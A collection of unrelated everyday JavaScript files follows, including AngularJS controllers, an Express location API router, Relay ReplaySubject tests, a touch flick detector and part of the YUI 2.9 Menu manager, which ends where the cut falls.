import gulp, {tasks} from 'gulp' import rump from 'rump' import {join} from 'path' const name = ::rump.taskName, task = ::gulp.task, watch = ::gulp.watch, {configs} = rump task(name('watch:static'), [name('build:static')], () => { const glob = join(configs.main.paths.source.root, configs.main.paths.source.static, configs.main.globs.watch.static) watch([glob].concat(configs.main.globs.global), [name('build:static')]) }) tasks[name('watch')].dep.push(name('watch:static'))
'use strict'; angular.module('waecm').controller('CreateNewUserCtrl', function($scope, $http, $location){ var self = this; $scope.user = { username: "", password: "", firstname: "", lastname: "", email: "", role: "", filetype: "", dataURI: "" }; $scope.setFile = function(element) { if(!element.files.length) { return; } var file=element.files[0]; var reader = new FileReader(); reader.onloadend = function () { $scope.$apply(function () { $scope.user.filetype=file.type; $scope.user.dataURI = reader.result; }); } reader.readAsDataURL(file); }; self.createNewUser = function() { $http.post('/public/user', { username: $scope.user.username, password: $scope.user.password, firstname: $scope.user.firstname, lastname: $scope.user.lastname, email: $scope.user.email, filetype: $scope.user.filetype, dataURI: $scope.user.dataURI }).success(function(data) { self.error = null; $location.path('/home'); }).error(function(data) { self.error = data.message || "Updating of user failed!"; }); }; }); angular.module('waecm').controller('ViewUserCtrl', function($scope, $http, $routeParams, $location){ var self = this; $http.get("/private/user").success(function (response) { $scope.user = response; }) .error(function(data) { self.error = data.message; }); $scope.setFile = function(element) { if(!element.files.length) { return; } var file=element.files[0]; var reader = new FileReader(); reader.onloadend = function () { $scope.$apply(function () { $scope.user.filetype=file.type; $scope.user.dataURI = reader.result; }); } reader.readAsDataURL(file); }; self.editUser = function() { $http.put("/private/user", { firstname: $scope.user.firstname, lastname: $scope.user.lastname, email: $scope.user.email, filetype: $scope.user.filetype, dataURI: $scope.user.dataURI }).success(function(data) { self.error = null; $location.path('/home'); }).error(function(data) { self.error = data.message || "Update of user failed!"; }); }; });
"use strict"; module.exports = [ {'name': 'advanced'}, {'name': 'demo'}, {'name': 'beta', transforms: (doc, tag, value) => typeof value !== 'undefined'}, // make the value true or undefined instead of '' or undefined {'name': 'usage'}, {'name': 'hidden'}, // hide from docs {'name': 'classes'}, // related classes {'name': 'interfaces'} // related interfaces ];
var type = { NO_DATE: 0, SHORT: 1, LONG: 2, }; module.exports = type;
define( [ 'osg/Vec3', 'osg/Matrix', 'osgUtil/TriangleSphereIntersector' ], function ( Vec3, Matrix, TriangleSphereIntersector ) { 'use strict'; var SphereIntersector = function () { this._center = Vec3.create(); this._iCenter = Vec3.create(); this._radius = 1.0; this._intersections = []; }; SphereIntersector.prototype = { set: function ( center, radius ) { Vec3.copy( center, this._center ); this._radius = radius; }, setCenter: function ( center ) { Vec3.copy( center, this._center ); }, setRadius: function ( radius ) { this._radius = radius; }, reset: function () { // Clear the intersections vector this._intersections.length = 0; }, enter: function ( node ) { // Not working if culling disabled ?? return !node.isCullingActive() || this.intersects( node.getBound() ); }, // Intersection Sphere/Sphere intersects: function ( bsphere ) { if ( !bsphere.valid() ) return false; var r = this._radius + bsphere.radius(); return Vec3.distance2( this._iCenter, bsphere.center() ) <= r * r; }, intersect: function ( iv, node ) { var kdtree = node.getShape(); if ( kdtree ) { // Use KDTREES return kdtree.intersectSphere( this._iCenter, this._radius, this._intersections, iv.nodePath ); } else { var ti = new TriangleSphereIntersector(); ti.setNodePath( iv.nodePath ); ti.set( this._iCenter, this._radius ); ti.apply( node ); var l = ti._intersections.length; if ( l > 0 ) { // Intersection/s exists for ( var i = 0; i < l; i++ ) { this._intersections.push( ti._intersections[ i ] ); } return true; } // No intersection found return false; } return false; }, getIntersections: function () { return this._intersections; }, setCurrentTransformation: function ( matrix ) { Matrix.inverse( matrix, matrix ); Matrix.transformVec3( matrix, this._center, this._iCenter ); } }; return SphereIntersector; } );
var express = require('express'); var router = express.Router(); var passport = require('passport'); var LocalStrategy = require('passport-local').Strategy; var model = require('../models/Location'); var User = require('../models/User'); // configure passport passport.use(new LocalStrategy(User.authenticate())); passport.serializeUser(User.serializeUser()); passport.deserializeUser(User.deserializeUser()); // end configuration for passport function buildErrorResponse(err) { return { message: err, status: 500, note: 'This response was generated due to user error.' }; }; /* GET locations listing. */ router.get('/', function(req, res, next) { model.find(function(err, locations) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(locations); } }); }); // Route to open the Location Detail router.get('/detail', function(req, res, next) { res.render('locationdetail', {user : req.user}); }); // AJAX call comes here to get the location picked on the map router.get('/detail/data', function(req, res, next) { model.find({ _id: req.session.locationID },function(err, location) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(location); } }); }); // AJAX post here with search terms router.post('/q', function(req, res, next) { // JSON object sent are search terms console.log("=============="); // console.log(req); console.log(req.body); var search = (req.body); for (var term in search) { if (search.hasOwnProperty(term)) { search[term] = true; }; }; console.log(search); // query database by the JSON model.find(search,function(err, locations) { if (err) { res.json(buildErrorResponse(err)); } else { console.log("=============="); console.log("=============="); console.log(locations); res.json(locations); } }); }); // Route to open the map router.get('/map', function(req, res, next) { res.render('map', {user : req.user}); }); // Save the locationID from the map into Session router.post('/set-session/:id', function(req, res, next) { req.session.locationID = req.params.id; console.log("session saved via req.params.id"); console.log(req.session.locationID); res.json({message: "data saved"}); }); // Save the search results into Session router.post('/set-session', function(req, res, next) { req.session.search = req.body; console.log("session saved via req.body"); console.log(req.session.search); res.render('map', {user : req.user}); }); // Get the saved Session data router.get('/get-session', function(req, res, next) { // req.session. = req.params.id; // console.log(req.session.search); res.json(req.session.search); }); // GET location by ID router.get('/:id', function(req, res, next) { model.findById(req.params.id, function(err, location) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(location); } }); }); // No in use router.get('/location/:id', function(req, res, next) { model.findById(req.params.id, function(err, location) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(location); } }); }); router.get('/location/burger/:id', function(req, res, next) { model.findById(req.params.id, function(err, burger) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(burger); } }); }); // POST (Create) new location router.post('/', function(req, res, next) { model.create(req.body, function(err, location) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(location); } }); }); // Find By ID and Update Locaion router.put('/:id', function(req, res, next) { model.findByIdAndUpdate(req.params.id, req.body, function(err, location) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(location); } }); }); router.patch('/:id', function(req, res, next) { model.findByIdAndUpdate(req.params.id, req.body, function(err, location) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(location); } }); }); // DELETE location router.delete('/:id', function(req, res, next) { model.findByIdAndRemove(req.params.id, req.body, function(err, location) { if (err) { res.json(buildErrorResponse(err)); } else { res.json(location); } }); }); module.exports = router;
/* */ "format cjs"; /*! Copyright (c) 2016 Jed Watson. Licensed under the MIT License (MIT), see http://jedwatson.github.io/classnames */ /* global define */ (function () { 'use strict'; var hasOwn = {}.hasOwnProperty; function classNames () { var classes = []; for (var i = 0; i < arguments.length; i++) { var arg = arguments[i]; if (!arg) continue; var argType = typeof arg; if (argType === 'string' || argType === 'number') { classes.push(this && this[arg] || arg); } else if (Array.isArray(arg)) { classes.push(classNames.apply(this, arg)); } else if (argType === 'object') { for (var key in arg) { if (hasOwn.call(arg, key) && arg[key]) { classes.push(this && this[key] || key); } } } } return classes.join(' '); } if (typeof module !== 'undefined' && module.exports) { module.exports = classNames; } else if (typeof define === 'function' && typeof define.amd === 'object' && define.amd) { // register as 'classnames', consistent with npm package name define('classnames', [], function () { return classNames; }); } else { window.classNames = classNames; } }());
/** * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @emails oncall+relay * @flow strict-local * @format */ // flowlint ambiguous-object-type:error 'use strict'; const RelayReplaySubject = require('../RelayReplaySubject'); let subject; beforeEach(() => { subject = new RelayReplaySubject(); }); function createObserver() { return { complete: jest.fn(), error: jest.fn(), next: jest.fn(), start: jest.fn(), }; } function clearObserver(observer) { observer.complete.mockClear(); observer.error.mockClear(); observer.next.mockClear(); observer.start.mockClear(); } it('publishes start before next/error', () => { const error = new Error('wtf'); subject.next('Alice'); subject.error(error); const observer = createObserver(); observer.next.mockImplementation(() => { expect(observer.start).toBeCalledTimes(1); }); observer.error.mockImplementation(() => { expect(observer.start).toBeCalledTimes(1); }); subject.subscribe(observer); expect(observer.start).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(1); expect(observer.error.mock.calls[0][0]).toBe(error); expect(observer.next).toBeCalledTimes(1); expect(observer.next.mock.calls[0][0]).toBe('Alice'); expect(observer.complete).toBeCalledTimes(0); }); it('publishes start before next/complete', () => { subject.next('Alice'); subject.complete(); const observer = createObserver(); observer.next.mockImplementation(() => { expect(observer.start).toBeCalledTimes(1); }); observer.complete.mockImplementation(() => { expect(observer.start).toBeCalledTimes(1); }); subject.subscribe(observer); expect(observer.start).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(1); expect(observer.next.mock.calls[0][0]).toBe('Alice'); expect(observer.complete).toBeCalledTimes(1); }); it('publishes next before complete/error', () => { subject.next('Alice'); const observer = createObserver(); subject.subscribe(observer); expect(observer.start).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(1); expect(observer.next.mock.calls[0][0]).toBe('Alice'); expect(observer.complete).toBeCalledTimes(0); subject.complete(); expect(observer.complete).toBeCalledTimes(1); }); it('stops publishing when unsubscribing in start', () => { subject.next('Alice'); subject.next('Bob'); subject.complete(); const observer = createObserver(); observer.start.mockImplementation(subscription => { subscription.unsubscribe(); }); subject.subscribe(observer); expect(observer.start).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(0); expect(observer.complete).toBeCalledTimes(0); }); it('stops publishing when unsubscribing in next', () => { subject.next('Alice'); subject.next('Bob'); subject.complete(); const observer = createObserver(); let subscription; observer.start.mockImplementation(sub => { subscription = sub; }); observer.next.mockImplementation(() => { subscription.unsubscribe(); }); subject.subscribe(observer); expect(observer.start).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(1); expect(observer.complete).toBeCalledTimes(0); }); it('publishes events synchronously when subscribing to an already resolved stream ', () => { subject.next('Alice'); subject.next('Bob'); subject.complete(); const observer = createObserver(); subject.subscribe(observer); expect(observer.complete).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(2); expect(observer.next.mock.calls[0][0]).toBe('Alice'); expect(observer.next.mock.calls[1][0]).toBe('Bob'); expect(observer.start).toBeCalledTimes(1); }); it('publishes next/complete events to an existing subscriber', () => { const observer = createObserver(); subject.subscribe(observer); subject.next('Alice'); subject.next('Bob'); subject.complete(); expect(observer.complete).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(2); expect(observer.next.mock.calls[0][0]).toBe('Alice'); expect(observer.next.mock.calls[1][0]).toBe('Bob'); expect(observer.start).toBeCalledTimes(1); }); it('publishes events synchronously when subscribing to an ongoing stream ', () => { subject.next('Alice'); subject.next('Bob'); const observer = createObserver(); subject.subscribe(observer); expect(observer.complete).toBeCalledTimes(0); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(2); expect(observer.next.mock.calls[0][0]).toBe('Alice'); expect(observer.next.mock.calls[1][0]).toBe('Bob'); expect(observer.start).toBeCalledTimes(1); subject.next('Jon'); subject.complete(); expect(observer.complete).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(3); expect(observer.next.mock.calls[2][0]).toBe('Jon'); expect(observer.start).toBeCalledTimes(1); }); it('publishes subsequent next/complete events to an existing subscriber', () => { const observer = createObserver(); subject.next('Alice'); subject.subscribe(observer); clearObserver(observer); subject.next('Bob'); subject.complete(); expect(observer.complete).toBeCalledTimes(1); expect(observer.error).toBeCalledTimes(0); expect(observer.next).toBeCalledTimes(1); expect(observer.next.mock.calls[0][0]).toBe('Bob'); expect(observer.start).toBeCalledTimes(0); }); it('publishes events synchronously when subscribing to an already rejected stream', () => { const error = new Error('wtf'); subject.error(error); const observer = createObserver(); subject.subscribe(observer); expect(observer.complete).toBeCalledTimes(0); expect(observer.error).toBeCalledTimes(1); expect(observer.error.mock.calls[0][0]).toBe(error); expect(observer.next).toBeCalledTimes(0); expect(observer.start).toBeCalledTimes(1); }); it('publishes error events to an an existing subscriber', () => { const observer = createObserver(); subject.subscribe(observer); const error = new Error('wtf'); subject.error(error); expect(observer.complete).toBeCalledTimes(0); expect(observer.error).toBeCalledTimes(1); expect(observer.error.mock.calls[0][0]).toBe(error); expect(observer.next).toBeCalledTimes(0); expect(observer.start).toBeCalledTimes(1); }); it('publishes subsequent next/error events to an existing subscriber', () => { const observer = createObserver(); subject.next('Alice'); subject.subscribe(observer); clearObserver(observer); const error = new Error('wtf'); subject.next('Bob'); subject.error(error); expect(observer.complete).toBeCalledTimes(0); expect(observer.error).toBeCalledTimes(1); expect(observer.error.mock.calls[0][0]).toBe(error); expect(observer.next).toBeCalledTimes(1); expect(observer.next.mock.calls[0][0]).toBe('Bob'); expect(observer.start).toBeCalledTimes(0); });
/** * @fileoverview Discriminate flick event * @author NHN. FE dev Lab. <dl_javascript@nhn.com> */ 'use strict'; var snippet = require('tui-code-snippet'); /** * Modules of discrimination flick * @ignore */ var Flick = /** @lends Flick */{ /** * Time is considered flick. */ flickTime: 100, /** * Width is considered flick. */ flickRange: 300, /** * Width is considered moving. */ minDist: 10, /** * Reader type */ type: 'flick', /** * Initialize Flicking * @param {object} options - Flick options * @param {number} [options.flickTime] - Flick time, if in this time, do not check move distance * @param {number} [options.flickRange] - Flick range, if not in time, compare move distance with flick ragne. * @param {number} [options.minDist] - Minimum distance for check available movement. */ initialize: function(options) { this.flickTime = options.flickTime || this.flickTime; this.flickRange = options.flickRange || this.flickRange; this.minDist = options.minDist || this.minDist; }, /** * Pick event type from eventData * @memberof Reader# * @param {object} eventData - Event data * @returns {object} Info of direction and flicking state * @example * instance.figure({ * list : [{x: 0, y: 0}, {x: 100, y: 100}], * start: 0, * end: 50 * }); * => { * direction: 'SE', * isFlick: false * } */ figure: function(eventData) { return { direction: this.getDirection(eventData.list), isFlick: this.isFlick(eventData) }; }, /** * Return direction figured out * @memberof Reader# * @param {array} list - eventPoint list * @returns {string} * @example * instance.getDirection([{x: 0, y: 0}, {x: 100, y: 100}]); * => 'SE'; */ getDirection: function(list) { var first = list[0]; var final = list[list.length - 1]; var cardinalPoint = this.getCardinalPoints(first, final); var res = this.getCloseCardinal(first, final, cardinalPoint); return res; }, /** * Return cardinal points figured out * @memberof Reader# * @param {object} first - Start point * @param {object} last - End point * @returns {string} Direction info * @example * instance.getDirection({x: 0, y: 0}, {x: 100, y: 100}); * => 'SE'; */ getCardinalPoints: function(first, last) { var verticalDist = first.y - last.y; var horizonDist = first.x - last.x; var NS = ''; var WE = ''; if (verticalDist < 0) { NS = 'S'; } else if (verticalDist > 0) { NS = 'N'; } if (horizonDist < 0) { WE = 'E'; } else if (horizonDist > 0) { WE = 'W'; } return NS + WE; }, /** * Return nearest four cardinal points * @memberof Reader# * @param {object} first - Start point * @param {object} last - End point * @param {string} cardinalPoint - CardinalPoint from getCardinalPoints * @returns {string} * @example * instance.getDirection({x: 0, y: 50}, {x: 100, y: 100}); * => 'W'; */ getCloseCardinal: function(first, last, cardinalPoint) { var slop = (last.y - first.y) / (last.x - first.x); var direction; if (slop < 0) { direction = slop < -1 ? 'NS' : 'WE'; } else { direction = slop > 1 ? 'NS' : 'WE'; } direction = snippet.getDuplicatedChar(direction, cardinalPoint); return direction; }, /** * Extract type of event * @memberof Reader# * @param {object} eventData - Event data * @returns {string} * @example * instance.isFlick({ * start: 1000, * end: 1100, * list: [ * { * x: 10, * y: 10 * }, * { * x: 11, * y: 11 * } * ] * }); */ isFlick: function(eventData) { var start = eventData.start; var end = eventData.end; var list = eventData.list; var first = list[0]; var final = list[list.length - 1]; var timeDist = end - start; var xDist = Math.abs(first.x - final.x); var yDist = Math.abs(first.y - final.y); var isFlick; if (timeDist < this.flickTime || xDist > this.flickRange || yDist > this.flickRange) { isFlick = true; } else { isFlick = false; } return isFlick; } }; module.exports = Flick;
'use strict'; var should = require('should'); var app = require('../../app'); var request = require('supertest'); describe('GET /api/translations', function() { it('should respond with JSON array', function(done) { request(app) .get('/api/translations') .expect(200) .expect('Content-Type', /json/) .end(function(err, res) { if (err) return done(err); res.body.should.be.instanceof(Array); done(); }); }); });
/* Copyright (c) 2011, Yahoo! Inc. All rights reserved. Code licensed under the BSD License: http://developer.yahoo.com/yui/license.html version: 2.9.0pr1 */ /** * @module menu * @description <p>The Menu family of components features a collection of * controls that make it easy to add menus to your website or web application. * With the Menu Controls you can create website fly-out menus, customized * context menus, or application-style menu bars with just a small amount of * scripting.</p><p>The Menu family of controls features:</p> * <ul> * <li>Keyboard and mouse navigation.</li> * <li>A rich event model that provides access to all of a menu's * interesting moments.</li> * <li>Support for * <a href="http://en.wikipedia.org/wiki/Progressive_Enhancement">Progressive * Enhancement</a>; Menus can be created from simple, * semantic markup on the page or purely through JavaScript.</li> * </ul> * @title Menu * @namespace YAHOO.widget * @requires Event, Dom, Container */ (function () { var UA = YAHOO.env.ua, Dom = YAHOO.util.Dom, Event = YAHOO.util.Event, Lang = YAHOO.lang, _DIV = "DIV", _HD = "hd", _BD = "bd", _FT = "ft", _LI = "LI", _DISABLED = "disabled", _MOUSEOVER = "mouseover", _MOUSEOUT = "mouseout", _MOUSEDOWN = "mousedown", _MOUSEUP = "mouseup", _CLICK = "click", _KEYDOWN = "keydown", _KEYUP = "keyup", _KEYPRESS = "keypress", _CLICK_TO_HIDE = "clicktohide", _POSITION = "position", _DYNAMIC = "dynamic", _SHOW_DELAY = "showdelay", _SELECTED = "selected", _VISIBLE = "visible", _UL = "UL", _MENUMANAGER = "MenuManager"; /** * Singleton that manages a collection of all menus and menu items. Listens * for DOM events at the document level and dispatches the events to the * corresponding menu or menu item. * * @namespace YAHOO.widget * @class MenuManager * @static */ YAHOO.widget.MenuManager = function () { // Private member variables // Flag indicating if the DOM event handlers have been attached var m_bInitializedEventHandlers = false, // Collection of menus m_oMenus = {}, // Collection of visible menus m_oVisibleMenus = {}, // Collection of menu items m_oItems = {}, // Map of DOM event types to their equivalent CustomEvent types m_oEventTypes = { "click": "clickEvent", "mousedown": "mouseDownEvent", "mouseup": "mouseUpEvent", "mouseover": "mouseOverEvent", "mouseout": "mouseOutEvent", "keydown": "keyDownEvent", "keyup": "keyUpEvent", "keypress": "keyPressEvent", "focus": "focusEvent", "focusin": "focusEvent", "blur": "blurEvent", "focusout": "blurEvent" }, m_oFocusedMenuItem = null; // Private methods /** * @method getMenuRootElement * @description Finds the root DIV node of a menu or the root LI node of * a menu item. * @private * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-58190037">HTMLElement</a>} p_oElement Object * specifying an HTML element. */ function getMenuRootElement(p_oElement) { var oParentNode, returnVal; if (p_oElement && p_oElement.tagName) { switch (p_oElement.tagName.toUpperCase()) { case _DIV: oParentNode = p_oElement.parentNode; // Check if the DIV is the inner "body" node of a menu if (( Dom.hasClass(p_oElement, _HD) || Dom.hasClass(p_oElement, _BD) || Dom.hasClass(p_oElement, _FT) ) && oParentNode && oParentNode.tagName && oParentNode.tagName.toUpperCase() == _DIV) { returnVal = oParentNode; } else { returnVal = p_oElement; } break; case _LI: returnVal = p_oElement; break; default: oParentNode = p_oElement.parentNode; if (oParentNode) { returnVal = getMenuRootElement(oParentNode); } break; } } return returnVal; } // Private event handlers /** * @method onDOMEvent * @description Generic, global event handler for all of a menu's * DOM-based events. This listens for events against the document * object. If the target of a given event is a member of a menu or * menu item's DOM, the instance's corresponding Custom Event is fired. * @private * @param {Event} p_oEvent Object representing the DOM event object * passed back by the event utility (YAHOO.util.Event). */ function onDOMEvent(p_oEvent) { // Get the target node of the DOM event var oTarget = Event.getTarget(p_oEvent), // See if the target of the event was a menu, or a menu item oElement = getMenuRootElement(oTarget), bFireEvent = true, sEventType = p_oEvent.type, sCustomEventType, sTagName, sId, oMenuItem, oMenu; if (oElement) { sTagName = oElement.tagName.toUpperCase(); if (sTagName == _LI) { sId = oElement.id; if (sId && m_oItems[sId]) { oMenuItem = m_oItems[sId]; oMenu = oMenuItem.parent; } } else if (sTagName == _DIV) { if (oElement.id) { oMenu = m_oMenus[oElement.id]; } } } if (oMenu) { sCustomEventType = m_oEventTypes[sEventType]; /* There is an inconsistency between Firefox for Mac OS X and Firefox Windows & Linux regarding the triggering of the display of the browser's context menu and the subsequent firing of the "click" event. In Firefox for Windows & Linux, when the user triggers the display of the browser's context menu the "click" event also fires for the document object, even though the "click" event did not fire for the element that was the original target of the "contextmenu" event. This is unique to Firefox on Windows & Linux. For all other A-Grade browsers, including Firefox for Mac OS X, the "click" event doesn't fire for the document object. This bug in Firefox for Windows affects Menu, as Menu instances listen for events at the document level and dispatches Custom Events of the same name. Therefore users of Menu will get an unwanted firing of the "click" custom event. The following line fixes this bug. */ if (sEventType == "click" && (UA.gecko && oMenu.platform != "mac") && p_oEvent.button > 0) { bFireEvent = false; } // Fire the Custom Event that corresponds the current DOM event if (bFireEvent && oMenuItem && !oMenuItem.cfg.getProperty(_DISABLED)) { oMenuItem[sCustomEventType].fire(p_oEvent); } if (bFireEvent) { oMenu[sCustomEventType].fire(p_oEvent, oMenuItem); } } else if (sEventType == _MOUSEDOWN) { /* If the target of the event wasn't a menu, hide all dynamically positioned menus */ for (var i in m_oVisibleMenus) { if (Lang.hasOwnProperty(m_oVisibleMenus, i)) { oMenu = m_oVisibleMenus[i]; if (oMenu.cfg.getProperty(_CLICK_TO_HIDE) && !(oMenu instanceof YAHOO.widget.MenuBar) && oMenu.cfg.getProperty(_POSITION) == _DYNAMIC) { oMenu.hide(); // In IE when the user mouses down on a focusable // element that element will be focused and become // the "activeElement". // (http://msdn.microsoft.com/en-us/library/ms533065(VS.85).aspx) // However, there is a bug in IE where if there is // a positioned element with a focused descendant // that is hidden in response to the mousedown // event, the target of the mousedown event will // appear to have focus, but will not be set as // the activeElement. This will result in the // element not firing key events, even though it // appears to have focus. The following call to // "setActive" fixes this bug. if (UA.ie && oTarget.focus) { oTarget.setActive(); } } else { if (oMenu.cfg.getProperty(_SHOW_DELAY) > 0) { oMenu._cancelShowDelay(); } if (oMenu.activeItem) { oMenu.activeItem.blur(); oMenu.activeItem.cfg.setProperty(_SELECTED, false); oMenu.activeItem = null; } } } } } } /** * @method onMenuDestroy * @description "destroy" event handler for a menu. * @private * @param {String} p_sType String representing the name of the event * that was fired. * @param {Array} p_aArgs Array of arguments sent when the event * was fired. * @param {YAHOO.widget.Menu} p_oMenu The menu that fired the event. */ function onMenuDestroy(p_sType, p_aArgs, p_oMenu) { if (m_oMenus[p_oMenu.id]) { this.removeMenu(p_oMenu); } } /** * @method onMenuFocus * @description "focus" event handler for a MenuItem instance. * @private * @param {String} p_sType String representing the name of the event * that was fired. * @param {Array} p_aArgs Array of arguments sent when the event * was fired. */ function onMenuFocus(p_sType, p_aArgs) { var oItem = p_aArgs[1]; if (oItem) { m_oFocusedMenuItem = oItem; } } /** * @method onMenuBlur * @description "blur" event handler for a MenuItem instance. * @private * @param {String} p_sType String representing the name of the event * that was fired. * @param {Array} p_aArgs Array of arguments sent when the event * was fired. */ function onMenuBlur(p_sType, p_aArgs) { m_oFocusedMenuItem = null; } /** * @method onMenuVisibleConfigChange * @description Event handler for when the "visible" configuration * property of a Menu instance changes. * @private * @param {String} p_sType String representing the name of the event * that was fired. * @param {Array} p_aArgs Array of arguments sent when the event * was fired. */ function onMenuVisibleConfigChange(p_sType, p_aArgs) { var bVisible = p_aArgs[0], sId = this.id; if (bVisible) { m_oVisibleMenus[sId] = this; } else if (m_oVisibleMenus[sId]) { delete m_oVisibleMenus[sId]; } } /** * @method onItemDestroy * @description "destroy" event handler for a MenuItem instance. * @private * @param {String} p_sType String representing the name of the event * that was fired. * @param {Array} p_aArgs Array of arguments sent when the event * was fired. */ function onItemDestroy(p_sType, p_aArgs) { removeItem(this); } /** * @method removeItem * @description Removes a MenuItem instance from the MenuManager's collection of MenuItems. * @private * @param {MenuItem} p_oMenuItem The MenuItem instance to be removed. */ function removeItem(p_oMenuItem) { var sId = p_oMenuItem.id; if (sId && m_oItems[sId]) { if (m_oFocusedMenuItem == p_oMenuItem) { m_oFocusedMenuItem = null; } delete m_oItems[sId]; p_oMenuItem.destroyEvent.unsubscribe(onItemDestroy); } } /** * @method onItemAdded * @description "itemadded" event handler for a Menu instance. * @private * @param {String} p_sType String representing the name of the event * that was fired. * @param {Array} p_aArgs Array of arguments sent when the event * was fired. */ function onItemAdded(p_sType, p_aArgs) { var oItem = p_aArgs[0], sId; if (oItem instanceof YAHOO.widget.MenuItem) { sId = oItem.id; if (!m_oItems[sId]) { m_oItems[sId] = oItem; oItem.destroyEvent.subscribe(onItemDestroy); } } } return { // Privileged methods /** * @method addMenu * @description Adds a menu to the collection of known menus. * @param {YAHOO.widget.Menu} p_oMenu Object specifying the Menu * instance to be added. */ addMenu: function (p_oMenu) { var oDoc; if (p_oMenu instanceof YAHOO.widget.Menu && p_oMenu.id && !m_oMenus[p_oMenu.id]) { m_oMenus[p_oMenu.id] = p_oMenu; if (!m_bInitializedEventHandlers) { oDoc = document; Event.on(oDoc, _MOUSEOVER, onDOMEvent, this, true); Event.on(oDoc, _MOUSEOUT, onDOMEvent, this, true); Event.on(oDoc, _MOUSEDOWN, onDOMEvent, this, true); Event.on(oDoc, _MOUSEUP, onDOMEvent, this, true); Event.on(oDoc, _CLICK, onDOMEvent, this, true); Event.on(oDoc, _KEYDOWN, onDOMEvent, this, true); Event.on(oDoc, _KEYUP, onDOMEvent, this, true); Event.on(oDoc, _KEYPRESS, onDOMEvent, this, true); Event.onFocus(oDoc, onDOMEvent, this, true); Event.onBlur(oDoc, onDOMEvent, this, true); m_bInitializedEventHandlers = true; } p_oMenu.cfg.subscribeToConfigEvent(_VISIBLE, onMenuVisibleConfigChange); p_oMenu.destroyEvent.subscribe(onMenuDestroy, p_oMenu, this); p_oMenu.itemAddedEvent.subscribe(onItemAdded); p_oMenu.focusEvent.subscribe(onMenuFocus); p_oMenu.blurEvent.subscribe(onMenuBlur); } }, /** * @method removeMenu * @description Removes a menu from the collection of known menus. * @param {YAHOO.widget.Menu} p_oMenu Object specifying the Menu * instance to be removed. */ removeMenu: function (p_oMenu) { var sId, aItems, i; if (p_oMenu) { sId = p_oMenu.id; if ((sId in m_oMenus) && (m_oMenus[sId] == p_oMenu)) { // Unregister each menu item aItems = p_oMenu.getItems(); if (aItems && aItems.length > 0) { i = aItems.length - 1; do { removeItem(aItems[i]); } while (i--); } // Unregister the menu delete m_oMenus[sId]; /* Unregister the menu from the collection of visible menus */ if ((sId in m_oVisibleMenus) && (m_oVisibleMenus[sId] == p_oMenu)) { delete m_oVisibleMenus[sId]; } // Unsubscribe event listeners if (p_oMenu.cfg) { p_oMenu.cfg.unsubscribeFromConfigEvent(_VISIBLE, onMenuVisibleConfigChange); } p_oMenu.destroyEvent.unsubscribe(onMenuDestroy, p_oMenu); p_oMenu.itemAddedEvent.unsubscribe(onItemAdded); p_oMenu.focusEvent.unsubscribe(onMenuFocus); p_oMenu.blurEvent.unsubscribe(onMenuBlur); } } }, /** * @method hideVisible * @description Hides all visible, dynamically positioned menus * (excluding instances of YAHOO.widget.MenuBar). */ hideVisible: function () { var oMenu; for (var i in m_oVisibleMenus) { if (Lang.hasOwnProperty(m_oVisibleMenus, i)) { oMenu = m_oVisibleMenus[i]; if (!(oMenu instanceof YAHOO.widget.MenuBar) && oMenu.cfg.getProperty(_POSITION) == _DYNAMIC) { oMenu.hide(); } } } }, /** * @method getVisible * @description Returns a collection of all visible menus registered * with the menu manger. * @return {Object} */ getVisible: function () { return m_oVisibleMenus; }, /** * @method getMenus * @description Returns a collection of all menus registered with the * menu manger. * @return {Object} */ getMenus: function () { return m_oMenus; }, /** * @method getMenu * @description Returns a menu with the specified id. * @param {String} p_sId String specifying the id of the * <code>&#60;div&#62;</code> element representing the menu to * be retrieved. * @return {YAHOO.widget.Menu} */ getMenu: function (p_sId) { var returnVal; if (p_sId in m_oMenus) { returnVal = m_oMenus[p_sId]; } return returnVal; }, /** * @method getMenuItem * @description Returns a menu item with the specified id. * @param {String} p_sId String specifying the id of the * <code>&#60;li&#62;</code> element representing the menu item to * be retrieved. * @return {YAHOO.widget.MenuItem} */ getMenuItem: function (p_sId) { var returnVal; if (p_sId in m_oItems) { returnVal = m_oItems[p_sId]; } return returnVal; }, /** * @method getMenuItemGroup * @description Returns an array of menu item instances whose * corresponding <code>&#60;li&#62;</code> elements are child * nodes of the <code>&#60;ul&#62;</code> element with the * specified id. * @param {String} p_sId String specifying the id of the * <code>&#60;ul&#62;</code> element representing the group of * menu items to be retrieved. * @return {Array} */ getMenuItemGroup: function (p_sId) { var oUL = Dom.get(p_sId), aItems, oNode, oItem, sId, returnVal; if (oUL && oUL.tagName && oUL.tagName.toUpperCase() == _UL) { oNode = oUL.firstChild; if (oNode) { aItems = []; do { sId = oNode.id; if (sId) { oItem = this.getMenuItem(sId); if (oItem) { aItems[aItems.length] = oItem; } } } while ((oNode = oNode.nextSibling)); if (aItems.length > 0) { returnVal = aItems; } } } return returnVal; }, /** * @method getFocusedMenuItem * @description Returns a reference to the menu item that currently * has focus. * @return {YAHOO.widget.MenuItem} */ getFocusedMenuItem: function () { return m_oFocusedMenuItem; }, /** * @method getFocusedMenu * @description Returns a reference to the menu that currently * has focus. * @return {YAHOO.widget.Menu} */ getFocusedMenu: function () { var returnVal; if (m_oFocusedMenuItem) { returnVal = 